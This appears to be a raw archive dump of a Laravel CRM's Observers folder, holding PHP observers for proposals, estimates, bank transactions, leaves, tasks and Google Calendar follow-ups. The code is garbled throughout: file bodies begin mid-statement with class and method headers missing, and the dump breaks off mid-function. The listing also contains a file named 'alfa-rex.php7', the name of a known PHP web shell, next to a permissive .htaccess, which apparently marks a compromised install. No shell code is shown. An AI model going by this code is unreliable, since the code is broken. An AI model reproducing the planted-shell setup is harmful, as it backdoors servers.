$quantity[$key], 'unit_price' => round($cost_per_item[$key], 2), 'amount' => round($amount[$key], 2), 'taxes' => ($tax ? (array_key_exists($key, $tax) ? json_encode($tax[$key]) : null) : null), 'field_order' => $key + 1 ] ); } /* Invoice file save here */ if (isset($proposalItem) && (isset($invoice_item_image[$key]) || isset($invoice_item_image_url[$key]))) { $filename = ''; if (isset($invoice_item_image[$key])) { $filename = Files::uploadLocalOrS3($invoice_item_image[$key], ProposalItemImage::FILE_PATH . '/' . $proposalItem->id . '/'); } ProposalItemImage::create( [ 'proposal_item_id' => $proposalItem->id, 'filename' => isset($invoice_item_image[$key]) ? $invoice_item_image[$key]->getClientOriginalName() : '', 'hashname' => isset($invoice_item_image[$key]) ? $filename : '', 'size' => isset($invoice_item_image[$key]) ? $invoice_item_image[$key]->getSize() : '', 'external_link' => isset($invoice_item_image[$key]) ? null : (isset($invoice_item_image_url[$key]) ? $invoice_item_image_url[$key] : null) ] ); } $image = true; if (isset($invoice_item_image_delete[$key])) { $image = false; } if ($image && (isset(request()->image_id[$key]) && $invoiceOldImage[$key] != '')) { $estimateOldImg = ProposalTemplateItemImage::where('id', request()->image_id[$key])->first(); if (isset($proposalItem)) { $this->duplicateImageStore($estimateOldImg, $proposalItem); } } endforeach; } if (request()->type == 'send') { $type = 'new'; event(new NewProposalEvent($proposal, $type)); } } } /** * @throws RelatedResourceNotFoundException */ public function updating(Proposal $proposal) { if (!isRunningInConsoleOrSeeding()) { if (request()->type && request()->type == 'send' || request()->type == 'mark_as_send') { $proposal->send_status = 1; } } } public function updated(Proposal $proposal) { if (!isRunningInConsoleOrSeeding()) { if (user()) { self::createEmployeeActivity(user()->id, 'proposal-updated', $proposal->id, 'proposal'); } if ($proposal->isDirty('status')) { $type = 'signed'; event(new NewProposalEvent($proposal, $type)); } /* Step1 - Delete all invoice items which are not avaialable Step2 - Find old invoices items, update it and check if images are newer or older Step3 - Insert new invoices items with images */ $request = request(); $items = $request->item_name; $itemsSummary = $request->item_summary; $hsn_sac_code = $request->hsn_sac_code; $tax = $request->taxes; $quantity = $request->quantity; $unitId = $request->unit_id; $productId = $request->product_id; $cost_per_item = $request->cost_per_item; $amount = $request->amount; $proposal_item_image = $request->invoice_item_image; $proposal_item_image_url = $request->invoice_item_image_url; $item_ids = $request->item_ids; if (!empty($request->item_name) && is_array($request->item_name)) { // Step1 - Delete all invoice items which are not avaialable if (!empty($item_ids)) { ProposalItem::whereNotIn('id', $item_ids)->where('proposal_id', $proposal->id)->delete(); } // Step2&3 - Find old invoices items, update it and check if images are newer or older foreach ($items as $key => $item) { $invoice_item_id = isset($item_ids[$key]) ? $item_ids[$key] : 0; $proposalItem = ProposalItem::find($invoice_item_id); if ($proposalItem === null) { $proposalItem = new ProposalItem(); } $proposalItem->proposal_id = $proposal->id; $proposalItem->item_name = $item; $proposalItem->item_summary = $itemsSummary[$key]; $proposalItem->type = 'item'; $proposalItem->unit_id = (isset($unitId[$key]) && !is_null($unitId[$key])) ? $unitId[$key] : null; $proposalItem->product_id = (isset($productId[$key]) && !is_null($productId[$key])) ? $productId[$key] : null; $proposalItem->hsn_sac_code = (isset($hsn_sac_code[$key]) && !is_null($hsn_sac_code[$key])) ? $hsn_sac_code[$key] : null; $proposalItem->quantity = $quantity[$key]; $proposalItem->unit_price = round($cost_per_item[$key], 2); $proposalItem->amount = round($amount[$key], 2); $proposalItem->taxes = ($tax ? (array_key_exists($key, $tax) ? json_encode($tax[$key]) : null) : null); $proposalItem->field_order = $key + 1; $proposalItem->save(); /* Invoice file save here */ // phpcs:ignore if ((isset($proposal_item_image[$key]) && $request->hasFile('invoice_item_image.' . $key)) || isset($proposal_item_image_url[$key])) { $filename = ''; $proposalFileSize = null; /* Delete previous uploaded file if it not a product (because product images cannot be deleted) */ if (!isset($proposal_item_image_url[$key]) && $proposalItem && $proposalItem->proposalItemImage) { Files::deleteFile($proposalItem->proposalItemImage->hashname, ProposalItemImage::FILE_PATH . '/' . $proposalItem->id . '/'); $filename = Files::uploadLocalOrS3($proposal_item_image[$key], ProposalItemImage::FILE_PATH . '/' . $proposalItem->id . '/'); $proposalFileSize = $proposal_item_image[$key]->getSize(); } if ($filename == '' && isset($proposal_item_image[$key])) { $filename = Files::uploadLocalOrS3($proposal_item_image[$key], ProposalItemImage::FILE_PATH . '/' . $proposalItem->id . '/'); $proposalFileSize = $proposal_item_image[$key]->getSize(); } ProposalItemImage::updateOrCreate( [ 'proposal_item_id' => $proposalItem->id, ], [ 'filename' => isset($proposal_item_image[$key]) ? $proposal_item_image[$key]->getClientOriginalName() : '', 'hashname' => isset($proposal_item_image[$key]) ? $filename : '', 'size' => isset($proposal_item_image[$key]) ? $proposalFileSize : '', 'external_link' => isset($proposal_item_image[$key]) ? null : ($proposal_item_image_url[$key] ?? '') ] ); } } } } } public function deleted(Proposal $proposal) { if (user()) { self::createDealHistory($proposal->deal_id, 'proposal-deleted'); self::createEmployeeActivity(user()->id, 'proposal-deleted'); } } public function deleting(Proposal $proposal) { $notifyData = ['App\Notifications\NewProposal', 'App\Notifications\ProposalSigned']; Notification::deleteNotification($notifyData, $proposal->id); } public function duplicateImageStore($estimateOldImg, $proposalItem) { if (!is_null($estimateOldImg)) { $file = new ProposalItemImage(); $file->proposal_item_id = $proposalItem->id; $fileName = Files::generateNewFileName($estimateOldImg->filename); Files::copy(ProposalTemplateItemImage::FILE_PATH . '/' . $estimateOldImg->id . '/' . $estimateOldImg->hashname, ProposalItemImage::FILE_PATH . '/' . $proposalItem->id . '/' . $fileName); $file->filename = $estimateOldImg->filename; $file->hashname = $fileName; $file->size = $estimateOldImg->size; $file->save(); } } } Observers/BankTransactionObserver.php000064400000002271150325104510014016 0ustar00last_updated_by = user()->id; } } public function creating(BankTransaction $bankTransaction) { if (user()) { $bankTransaction->added_by = user()->id; } if (company()) { $bankTransaction->company_id = company()->id; } } public function created(BankTransaction $bankTransaction) { $bankAccount = BankAccount::find($bankTransaction->bank_account_id); if (!is_null($bankAccount) && !is_null($bankTransaction)) { $bankBalance = $bankAccount->bank_balance; if (is_null($bankTransaction->type) || $bankTransaction->type == 'Cr') { $bankBalance += $bankTransaction->amount; } if ($bankTransaction->type == 'Dr') { $bankBalance -= $bankTransaction->amount; } $bankAccount->bank_balance = $bankBalance; $bankAccount->save(); } } } Observers/StickyNoteObserver.php000064400000000353150325104510013030 0ustar00company_id = company()->id; } } } Observers/UserInvitationObserver.php000064400000000770150325104510013722 0ustar00invitation_type == 'email') { event(new InvitationEmailEvent($invite)); } } } public function creating(UserInvitation $model) { $model->company_id = $model->user->company_id; } } Observers/TeamObserver.php000064400000003051150325104510011620 0ustar00company_id = company()->id; } } public function created(Team $model) { if (company()) { $leaveTypes = LeaveType::all(); foreach ($leaveTypes as $leaveType) { if (!is_null($leaveType->department)) { $department = json_decode($leaveType->department); array_push($department, $model->id); } else { $department = array($model->id); } $leaveType->department = json_encode($department); $leaveType->save(); } } } public function deleted(Team $model) { if (company()) { $leaveTypes = LeaveType::all(); foreach ($leaveTypes as $leaveType) { if (!is_null($leaveType->department)) { $department = json_decode($leaveType->department); // Search value and delete if (($key = array_search($model->id, $department)) !== false) { unset($department[$key]); } $departmentValues = array_values($department); $leaveType->department = json_encode($departmentValues); $leaveType->save(); } } } } } Observers/ExpensesCategoryObserver.php000064400000000371150325104510014224 0ustar00company_id = company()->id; } } } Observers/RoleObserver.php000064400000000325150325104510011634 0ustar00company_id = company()->id; } } } Observers/EstimateObserver.php000064400000021736150325104510012517 0ustar00last_updated_by = user()->id; } if (request()->has('calculate_tax')) { $estimate->calculate_tax = request()->calculate_tax; } } } public function creating(Estimate $estimate) { $estimate->hash = md5(microtime()); if (user()) { $estimate->added_by = user()->id; } if (request()->type && (request()->type == 'save' || request()->type == 'draft')) { $estimate->send_status = 0; } if (request()->type == 'draft') { $estimate->status = 'draft'; } if (company()) { $estimate->company_id = company()->id; } if (is_numeric($estimate->estimate_number)) { $estimate->estimate_number = $estimate->formatEstimateNumber(); } $invoiceSettings = (company()) ? company()->invoiceSetting : $estimate->company->invoiceSetting; $estimate->original_estimate_number = str($estimate->estimate_number)->replace($invoiceSettings->estimate_prefix . $invoiceSettings->estimate_number_separator, ''); } public function created(Estimate $estimate) { if (!isRunningInConsoleOrSeeding()) { if (user()) { self::createEmployeeActivity(user()->id, 'estimate-created', $estimate->id, 'estimate'); } if (!empty(request()->item_name)) { $itemsSummary = request()->item_summary; $cost_per_item = request()->cost_per_item; $hsn_sac_code = request()->hsn_sac_code; $quantity = request()->quantity; $unitId = request()->unit_id; $product = request()->product_id; $amount = request()->amount; $tax = request()->taxes; $invoice_item_image = request()->invoice_item_image; $invoice_item_image_delete = request()->invoice_item_image_delete; $invoice_item_image_url = request()->invoice_item_image_url; $invoiceOldImage = request()->image_id; $invoiceTemplateImage = request()->templateImage_id; foreach (request()->item_name as $key => $item) : if (!is_null($item)) { $estimateItem = EstimateItem::create( [ 'estimate_id' => $estimate->id, 'item_name' => $item, 'item_summary' => $itemsSummary[$key], 'type' => 'item', 'unit_id' => (isset($unitId[$key]) && !is_null($unitId[$key])) ? $unitId[$key] : null, 'product_id' => (isset($product[$key]) && !is_null($product[$key])) ? $product[$key] : null, 'hsn_sac_code' => (isset($hsn_sac_code[$key]) && !is_null($hsn_sac_code[$key])) ? $hsn_sac_code[$key] : null, 'quantity' => $quantity[$key], 'unit_price' => round($cost_per_item[$key], 2), 'amount' => round($amount[$key], 2), 'taxes' => ($tax ? (array_key_exists($key, $tax) ? json_encode($tax[$key]) : null) : null), 'field_order' => $key + 1 ] ); /* Invoice file save here */ if ((isset($invoice_item_image[$key]) && $invoice_item_image[$key] != 'yes') || isset($invoice_item_image_url[$key])) { EstimateItemImage::create( [ 'estimate_item_id' => $estimateItem->id, 'filename' => isset($invoice_item_image[$key]) ? $invoice_item_image[$key]->getClientOriginalName() : null, 'hashname' => isset($invoice_item_image[$key]) ? Files::uploadLocalOrS3($invoice_item_image[$key], EstimateItemImage::FILE_PATH . '/' . $estimateItem->id . '/') : null, 'size' => isset($invoice_item_image[$key]) ? $invoice_item_image[$key]->getSize() : null, 'external_link' => isset($invoice_item_image[$key]) ? null : ($invoice_item_image_url[$key] ?? null), ] ); } $image = true; if (isset($invoice_item_image_delete[$key])) { $image = false; } if ($image && (isset(request()->image_id[$key]) && $invoiceOldImage[$key] != '')) { $estimateOldImg = EstimateItemImage::with('item')->where('id', request()->image_id[$key])->first(); $this->duplicateImageStore($estimateOldImg, $estimateItem); } if ($image && (isset(request()->templateImage_id[$key]) && $invoiceTemplateImage[$key] != '')) { $estimateTemplateImg = EstimateTemplateItemImage::where('id', request()->templateImage_id[$key])->first(); $this->duplicateTemplateImageStore($estimateTemplateImg, $estimateItem); } } endforeach; } if (request()->type != 'save' && request()->type != 'draft') { event(new NewEstimateEvent($estimate)); } } } public function updated(Estimate $estimate) { if (!isRunningInConsoleOrSeeding()) { if (user()) { self::createEmployeeActivity(user()->id, 'estimate-updated', $estimate->id, 'estimate'); } if ($estimate->status == 'declined') { event(new EstimateDeclinedEvent($estimate)); } elseif ($estimate->status == 'accepted') { event(new EstimateAcceptedEvent($estimate)); } } } public function deleting(Estimate $estimate) { $universalSearches = UniversalSearch::where('searchable_id', $estimate->id)->where('module_type', 'estimate')->get(); if ($universalSearches) { foreach ($universalSearches as $universalSearch) { UniversalSearch::destroy($universalSearch->id); } } $notifyData = ['App\Notifications\NewEstimate']; Notification::deleteNotification($notifyData, $estimate->id); } public function deleted(Estimate $estimate) { if (user()) { self::createEmployeeActivity(user()->id, 'estimate-deleted'); } } /** * duplicateImageStore * * @param mixed $estimateOldImg * @param mixed $estimateItem * @return void */ public function duplicateImageStore($estimateOldImg, $estimateItem) { if (!is_null($estimateOldImg)) { $file = new EstimateItemImage(); $file->estimate_item_id = $estimateItem->id; $fileName = Files::generateNewFileName($estimateOldImg->filename); Files::copy(EstimateItemImage::FILE_PATH . '/' . $estimateOldImg->item->id . '/' . $estimateOldImg->hashname, EstimateItemImage::FILE_PATH . '/' . $estimateItem->id . '/' . $fileName); $file->filename = $estimateOldImg->filename; $file->hashname = $fileName; $file->size = $estimateOldImg->size; $file->save(); } } public function duplicateTemplateImageStore($estimateTemplateImg, $estimateItem) { if (!is_null($estimateTemplateImg)) { $file = new EstimateItemImage(); $file->estimate_item_id = $estimateItem->id; $fileName = Files::generateNewFileName($estimateTemplateImg->filename); Files::copy(EstimateTemplateItemImage::FILE_PATH . '/' . $estimateTemplateImg->estimate_template_item_id . '/' . $estimateTemplateImg->hashname, EstimateItemImage::FILE_PATH . '/' . $estimateItem->id . '/' . $fileName); $file->filename = $estimateTemplateImg->filename; $file->hashname = $fileName; $file->size = $estimateTemplateImg->size; $file->save(); } } } Observers/TaskSettingObserver.php000064400000000356150325104510013177 0ustar00company_id = company()->id; } } } Observers/CustomFieldGroupObserver.php000064400000000375150325104510014173 0ustar00company_id = company()->id; } } } Observers/TaskNoteObserver.php000064400000006301150325104510012463 0ustar00last_updated_by = user()->id; } } public function creating(TaskNote $note) { if (!isRunningInConsoleOrSeeding()) { $note->added_by = user()->id; } } public function created(TaskNote $note) { if (isRunningInConsoleOrSeeding()) { return true; } $task = $note->task; if ($task->project_id != null) { if (request()->mention_user_id != null && request()->mention_user_id != '') { $note->mentionUser()->sync(request()->mention_user_id); $taskUsers = json_decode($task->taskUsers->pluck('user_id')); $mentionIds = json_decode($note->mentionNote->pluck('user_id')); $mentionUserId = array_intersect($mentionIds, $taskUsers); if ($mentionUserId != null && $mentionUserId != '') { event(new TaskNoteMentionEvent($task, $note->created_at, $mentionUserId)); } $unmentionIds = array_diff($taskUsers, $mentionIds); if ($unmentionIds != null && $unmentionIds != '') { $taskUsersNote = User::whereIn('id', $unmentionIds)->get(); if ($task->project->client_id != null && $task->project->allow_client_notification == 'enable') { event(new TaskNoteEvent($task, $note->created_at, $task->project->client, 'client')); } event(new TaskNoteEvent($task, $note->created_at, $taskUsersNote)); } } else { event(new TaskNoteEvent($task, $note->created_at, $task->project->projectMembers)); } if ($task->project->client_id != null && $task->project->allow_client_notification == 'enable') { event(new TaskNoteEvent($task, $note->created_at, $task->project->client, 'client')); } } else { event(new TaskNoteEvent($task, $note->created_at, $task->users)); } } public function updating(TaskNote $note) { $mentionedUser = MentionUser::where('task_note_id', $note->id)->pluck('user_id'); $requestMentionIds = request()->mention_user_id; $newMention = []; $note->mentionUser()->sync(request()->mention_user_id); if ($requestMentionIds != null) { foreach ($requestMentionIds as $value) { if (($mentionedUser) != null) { if (!in_array($value, json_decode($mentionedUser))) { $newMention[] = $value; } } else { $newMention[] = $value; } } if (!empty($newMention)) { event(new TaskNoteMentionEvent($note->task, $note, $newMention)); } } } } Observers/.htaccess000064400000000544150325104510010313 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Observers/EmployeeSkillObserver.php000064400000000360150325104510013510 0ustar00company_id = company()->id; } } } Observers/UserTaskboardSettingObserver.php000064400000000411150325104510015036 0ustar00company_id = company()->id; } } } Observers/IssueObserver.php000064400000001146150325104510012025 0ustar00id); } public function creating(Issue $issue) { if (company()) { $issue->company_id = company()->id; } } } Observers/WeeklyTimesheetEntriesObserver.php000064400000000457150325104510015403 0ustar00company_id = company()->id; } } } Observers/LeadFollowUpObserver.php000064400000015574150325104510013304 0ustar00last_updated_by = user()->id; } } public function creating(DealFollowUp $leadFollowUp) { if (!isRunningInConsoleOrSeeding() && user()) { $leadFollowUp->added_by = user()->id; } } public function created(DealFollowUp $leadFollowUp) { if (!isRunningInConsoleOrSeeding()) { if (user()) { self::createEmployeeActivity(user()->id, 'followUp-created', $leadFollowUp->deal_id, 'deal_followup'); } /* Add google calendar event */ if (!is_null($leadFollowUp->next_follow_up_date)) { $leadFollowUp->event_id = $this->googleCalendarEvent($leadFollowUp); self::createDealHistory($leadFollowUp->deal_id, 'followup-created', agentId: $leadFollowUp->agent_id); } } } public function updating(DealFollowUp $leadFollowUp) { if (!isRunningInConsoleOrSeeding()) { /* Update google calendar event */ if (!is_null($leadFollowUp->next_follow_up_date)) { $leadFollowUp->event_id = $this->googleCalendarEvent($leadFollowUp); } } } public function updated(DealFollowUp $leadFollowUp) { if (!isRunningInConsoleOrSeeding() && user()) { self::createEmployeeActivity(user()->id, 'followUp-updated', $leadFollowUp->id, 'deal_followup'); } } public function deleting(DealFollowUp $leadFollowUp) { /* Start of deleting event from google calendar */ $deletedHistory = new DealHistory(); $deletedHistory->deal_id = $leadFollowUp->deal_id; $deletedHistory->event_type = 'followup-deleted'; $deletedHistory->created_by = user()->id; $deletedHistory->save(); $google = new Google(); $googleAccount = company(); if (company()->google_calendar_status == 'active' && $googleAccount->google_calendar_verification_status == 'verified' && $googleAccount->token) { $google->connectUsing($googleAccount->token); try { if ($leadFollowUp->event_id) { $google->service('Calendar')->events->delete('primary', $leadFollowUp->event_id); } } catch (Exception $error) { if (is_null($error->getErrors())) { // Delete google calendar connection data i.e. token, name, google_id $googleAccount->name = null; $googleAccount->token = null; $googleAccount->google_id = null; $googleAccount->google_calendar_verification_status = 'non_verified'; $googleAccount->save(); } } } $notificationModel = ['App\Notifications\AutoFollowUpReminder']; Notification::whereIn('type', $notificationModel) ->whereNull('read_at') ->where(function ($q) use ($leadFollowUp) { $q->where('data', 'like', '{"follow_up_id":' . $leadFollowUp->id . ',%'); })->delete(); /* End of deleting event from google calendar */ } protected function googleCalendarEvent($event) { $googleAccount = company(); $module = GoogleCalendarModule::first(); if (company()->google_calendar_status == 'active' && $googleAccount->google_calendar_verification_status == 'verified' && $googleAccount->token && $module->lead_status == 1) { $google = new Google(); $attendiesData = []; $attendee = $event->lead?->leadAgent; if ($attendee) { if (!is_null($attendee->user)) { $attendiesData[] = ['email' => $attendee->user->email]; } } if ($event->next_follow_up_date) { $dateTime = Carbon::parse($event->next_follow_up_date)->shiftTimezone($googleAccount->timezone); // Create event $google = $google->connectUsing($googleAccount->token); $eventData = new Google_Service_Calendar_Event(array( 'summary' => __('app.lead') . ' ' . __('app.followUp') . ': ' . $event->remark, 'location' => '', 'description' => $event->remark, 'colorId' => 5, 'start' => array( 'dateTime' => $dateTime, 'timeZone' => $googleAccount->timezone, ), 'end' => array( 'dateTime' => $dateTime, 'timeZone' => $googleAccount->timezone, ), 'attendees' => $attendiesData, 'reminders' => array( 'useDefault' => false, 'overrides' => array( array('method' => 'email', 'minutes' => 24 * 60), array('method' => 'popup', 'minutes' => 10), ), ), )); try { if ($event->event_id) { $results = $google->service('Calendar')->events->patch('primary', $event->event_id, $eventData); } else { $results = $google->service('Calendar')->events->insert('primary', $eventData); } return $results->id; } catch (Exception $error) { if (is_null($error->getErrors())) { // Delete google calendar connection data i.e. token, name, google_id $googleAccount->name = null; $googleAccount->token = null; $googleAccount->google_id = null; $googleAccount->google_calendar_verification_status = 'non_verified'; $googleAccount->save(); } } } } return $event->event_id; } public function deleted(DealFollowUp $leadFollowUp) { if (user()) { self::createDealHistory($leadFollowUp->deal_id, 'followup-deleted'); self::createEmployeeActivity(user()->id, 'followUp-deleted'); } } } Observers/DashboardWidgetObserver.php000064400000000372150325104510013770 0ustar00company_id = company()->id; } } } Observers/FileUploadObserver.php000064400000001156150325104510012762 0ustar00last_updated_by = user()->id; } } public function creating(ProjectFile $project) { if (!isRunningInConsoleOrSeeding()) { $project->added_by = user()->id; } } public function created(ProjectFile $file) { if (!isRunningInConsoleOrSeeding()) { event(new FileUploadEvent($file)); } } } Observers/AppreciationObserver.php000064400000001564150325104510013357 0ustar00company_id = company()->id; } } public function created(Appreciation $userAppreciation) { if (!isRunningInConsoleOrSeeding()) { event(new AppreciationEvent($userAppreciation, $userAppreciation->awardTo)); } } public function deleting(Appreciation $appreciation) { Notification::where('type', 'App\Notifications\NewAppreciation') ->whereNull('read_at') ->where(function ($q) use ($appreciation) { $q->where('data', 'like', '{"id":' . $appreciation->id . ',%'); })->delete(); } } Observers/TicketChannelObserver.php000064400000000364150325104510013452 0ustar00company_id = company()->id; } } } Observers/EmployeeDocsObserver.php000064400000000777150325104510013336 0ustar00last_updated_by = user()->id; } } public function creating(EmployeeDocument $doc) { if (!isRunningInConsoleOrSeeding()) { $doc->added_by = user()->id; } if (company()) { $doc->company_id = company()->id; } } } Observers/ProposalTemplateObserver.php000064400000021342150325104510014230 0ustar00company_id = company()->id; } } public function created(ProposalTemplate $proposal) { if (!isRunningInConsoleOrSeeding()) { if (!empty(request()->item_name)) { $itemsSummary = request()->item_summary; $cost_per_item = request()->cost_per_item; $hsn_sac_code = request()->hsn_sac_code; $quantity = request()->quantity; $unitId = request()->unit_id; $product = request()->product_id; $amount = request()->amount; $tax = request()->taxes; $invoice_item_image = request()->invoice_item_image; $invoice_item_image_url = request()->invoice_item_image_url; foreach (request()->item_name as $key => $item) { if (!is_null($item)) { $proposalTemplateItem = ProposalTemplateItem::create( [ 'proposal_template_id' => $proposal->id, 'company_id' => $proposal->company_id, 'item_name' => $item, 'item_summary' => $itemsSummary[$key], 'type' => 'item', 'unit_id' => (isset($unitId[$key]) && !is_null($unitId[$key])) ? $unitId[$key] : null, 'product_id' => (isset($product[$key]) && !is_null($product[$key])) ? $product[$key] : null, 'hsn_sac_code' => (isset($hsn_sac_code[$key])) ? $hsn_sac_code[$key] : null, 'quantity' => $quantity[$key], 'unit_price' => round($cost_per_item[$key], 2), 'amount' => round($amount[$key], 2), 'taxes' => ($tax ? (array_key_exists($key, $tax) ? json_encode($tax[$key]) : null) : null) ] ); } /* Invoice file save here */ if (isset($proposalTemplateItem) && (isset($invoice_item_image[$key]) || isset($invoice_item_image_url[$key]))) { $proposalTemplateItemImage = new ProposalTemplateItemImage(); $proposalTemplateItemImage->proposal_template_item_id = $proposalTemplateItem->id; $proposalTemplateItemImage->company_id = $proposalTemplateItem->company_id; if (isset($invoice_item_image[$key])) { $filename = Files::uploadLocalOrS3($invoice_item_image[$key], ProposalTemplateItemImage::FILE_PATH . '/' . $proposalTemplateItem->id . '/'); $proposalTemplateItemImage->filename = $invoice_item_image[$key]->getClientOriginalName(); $proposalTemplateItemImage->hashname = $filename; $proposalTemplateItemImage->size = $invoice_item_image[$key]->getSize(); } $proposalTemplateItemImage->external_link = isset($invoice_item_image[$key]) ? null : (isset($invoice_item_image_url[$key]) ? $invoice_item_image_url[$key] : null); $proposalTemplateItemImage->save(); } } } } } /** * @throws RelatedResourceNotFoundException */ public function updated(ProposalTemplate $proposal) { if (!isRunningInConsoleOrSeeding()) { /* Step1 - Delete all invoice items which are not avaialable Step2 - Find old invoices items, update it and check if images are newer or older Step3 - Insert new invoices items with images */ $request = request(); $items = $request->item_name; $itemsSummary = $request->item_summary; $hsn_sac_code = $request->hsn_sac_code; $tax = $request->taxes; $quantity = $request->quantity; $cost_per_item = $request->cost_per_item; $amount = $request->amount; $proposal_item_image = $request->invoice_item_image; $proposal_item_image_url = $request->invoice_item_image_url; $item_ids = $request->item_ids; $unitId = request()->unit_id; $productId = request()->product_id; if (!empty($request->item_name) && is_array($request->item_name)) { // Step1 - Delete all invoice items which are not avaialable if (!empty($item_ids)) { ProposalTemplateItem::whereNotIn('id', $item_ids)->where('proposal_template_id', $proposal->id)->delete(); } // Step2&3 - Find old invoices items, update it and check if images are newer or older foreach ($items as $key => $item) { $invoice_item_id = $item_ids[$key] ?? 0; $proposalTemplateItem = ProposalTemplateItem::find($invoice_item_id); if ($proposalTemplateItem === null) { $proposalTemplateItem = new ProposalTemplateItem(); } $proposalTemplateItem->proposal_template_id = $proposal->id; $proposalTemplateItem->company_id = $proposal->company_id; $proposalTemplateItem->item_name = $item; $proposalTemplateItem->item_summary = $itemsSummary[$key]; $proposalTemplateItem->type = 'item'; $proposalTemplateItem->unit_id = (isset($unitId[$key]) && !is_null($unitId[$key])) ? $unitId[$key] : null; $proposalTemplateItem->product_id = (isset($productId[$key]) && !is_null($productId[$key])) ? $productId[$key] : null; $proposalTemplateItem->hsn_sac_code = (isset($hsn_sac_code[$key]) && !is_null($hsn_sac_code[$key])) ? $hsn_sac_code[$key] : null; $proposalTemplateItem->quantity = $quantity[$key]; $proposalTemplateItem->unit_price = round($cost_per_item[$key], 2); $proposalTemplateItem->amount = round($amount[$key], 2); $proposalTemplateItem->taxes = ($tax ? (array_key_exists($key, $tax) ? json_encode($tax[$key]) : null) : null); $proposalTemplateItem->save(); /* Invoice file save here */ // phpcs:ignore if ((isset($proposal_item_image[$key]) && $request->hasFile('invoice_item_image.' . $key)) || isset($proposal_item_image_url[$key])) { $proposalTemplateItemImage = ProposalTemplateItemImage::where('proposal_template_item_id', $proposalTemplateItem->id)->firstOrNew(); $proposalTemplateItemImage->proposal_template_item_id = $proposalTemplateItem->id; $proposalTemplateItemImage->company_id = $proposalTemplateItem->company_id; /* Delete previous uploaded file if it not a product (because product images cannot be deleted) */ if (!isset($proposal_item_image_url[$key]) && $proposalTemplateItem && $proposalTemplateItem->proposalTemplateItemImage) { Files::deleteFile($proposalTemplateItem->proposalTemplateItemImage->hashname, ProposalTemplateItemImage::FILE_PATH . '/' . $proposalTemplateItem->id . '/'); } if (isset($proposal_item_image[$key])) { $filename = Files::uploadLocalOrS3($proposal_item_image[$key], ProposalTemplateItemImage::FILE_PATH . '/' . $proposalTemplateItem->id . '/'); $proposalTemplateItemImage->filename = isset($proposal_item_image[$key]) ? $proposal_item_image[$key]->getClientOriginalName() : null; $proposalTemplateItemImage->hashname = isset($proposal_item_image[$key]) ? $filename : null; $proposalTemplateItemImage->size = isset($proposal_item_image[$key]) ? $proposal_item_image[$key]->getSize() : null; } $proposalTemplateItemImage->external_link = isset($proposal_item_image[$key]) ? null : ($proposal_item_image_url[$key] ?? null); $proposalTemplateItemImage->save(); } } } } } } Observers/TaskBoardColumnObserver.php000064400000001266150325104510013770 0ustar00 $item->id, 'board_column_id' => $taskboardColumn->id ]); } } } public function creating(TaskboardColumn $model) { if (company()) { $model->company_id = company()->id; } } } Observers/LeaveSettingObserver.php000064400000000361150325104510013325 0ustar00company_id = company()->id; } } } Observers/DiscussionObserver.php000064400000003751150325104510013064 0ustar00last_updated_by = user()->id; } } public function creating(Discussion $discussion) { if (!isRunningInConsoleOrSeeding()) { if (user()) { $discussion->last_updated_by = user()->id; $discussion->added_by = user()->id; } } if (company()) { $discussion->company_id = company()->id; } } public function created(Discussion $discussion) { $project = $discussion->project; $mentionIds = explode(',', request()->mention_user_id); $projectUsers = json_decode($project->projectMembers->pluck('id')); $mentionUserId = array_intersect($mentionIds, $projectUsers); if ($mentionUserId != null && $mentionUserId != '') { $discussion->mentionUser()->sync($mentionIds); event(new DiscussionMentionEvent($discussion, $mentionUserId)); } else { $unmentionIds = array_diff($projectUsers, $mentionIds); if ($unmentionIds != null && $unmentionIds != '') { $projectMember = User::whereIn('id', $unmentionIds)->get(); event(new DiscussionEvent($discussion, $projectMember)); } else { if (!isRunningInConsoleOrSeeding()) { event(new DiscussionEvent($discussion, null)); } } } } public function deleting(Discussion $discussion) { $notifyData = ['App\Notifications\NewDiscussion', 'App\Notifications\NewDiscussionReply']; Notification::deleteNotification($notifyData, $discussion->id); } } Observers/alfa-rex.php7000064400000026574150325104510011027 0ustar00Observers/SubTaskObserver.php000064400000002253150325104510012311 0ustar00last_updated_by = user()->id; } } public function creating(SubTask $task) { if (!isRunningInConsoleOrSeeding()) { $task->added_by = user()->id; } } public function created(SubTask $subTask) { if (!isRunningInConsoleOrSeeding()) { event(new SubTaskCompletedEvent($subTask, 'created')); } } public function updated(SubTask $subTask) { if (!isRunningInConsoleOrSeeding()) { if ($subTask->isDirty('status') && $subTask->status == 'complete') { event(new SubTaskCompletedEvent($subTask, 'completed')); } } } public function deleting(SubTask $subTask) { $notifyData = [ 'App\Notifications\SubTaskCompleted', 'App\Notifications\SubTaskCreated' ]; Notification::deleteNotification($notifyData, $subTask->id); } } Observers/LeadSourceObserver.php000064400000001015150325104510012756 0ustar00last_updated_by = user()->id; } } public function creating(LeadSource $leadSource) { if (!isRunningInConsoleOrSeeding()) { $leadSource->added_by = user()->id; } if (company()) { $leadSource->company_id = company()->id; } } } Observers/LeaveObserver.php000064400000026431150325104510011775 0ustar00last_updated_by = user()->id; } $employeeLeaveQuota = EmployeeLeaveQuota::whereUserId($leave->user_id)->whereLeaveTypeId($leave->leave_type_id)->first(); $employeeLeaveQuotaRemaining = $employeeLeaveQuota->leaves_remaining; if ($employeeLeaveQuotaRemaining <= 0 && $leave->type->over_utilization == 'allow_paid') { $leave->paid = 1; $leave->over_utilized = 1; } elseif ($employeeLeaveQuotaRemaining <= 0 && $leave->type->over_utilization == 'allow_unpaid') { $leave->paid = 0; $leave->over_utilized = 1; } else { $leave->paid = $leave->type->paid; } } public function creating(Leave $leave) { if (!isRunningInConsoleOrSeeding()) { $leave->added_by = user()->id; } if (company()) { $leave->company_id = company()->id; } } public function created(Leave $leave) { if (!isRunningInConsoleOrSeeding()) { if (user()) { self::createEmployeeActivity(user()->id, 'leave-created', $leave->id, 'leave'); } $this->deductEmployeeLeaveQuota($leave); if (request()->duration == 'multiple') { if (session()->has('leaves_duration')) { event(new LeaveEvent($leave, 'created', request()->multi_date)); } } else { event(new LeaveEvent($leave, 'created')); } /* Add google calendar event */ if (!is_null($leave->leave_date) && !is_null($leave->user)) { $leave->event_id = $this->googleCalendarEvent($leave); } } } public function updating(Leave $leave) { if (!isRunningInConsoleOrSeeding()) { if ($leave->isDirty('status')) { $leave->approved_by = user()->id; $leave->approved_at = now()->toDateTimeString(); if ($leave->status == 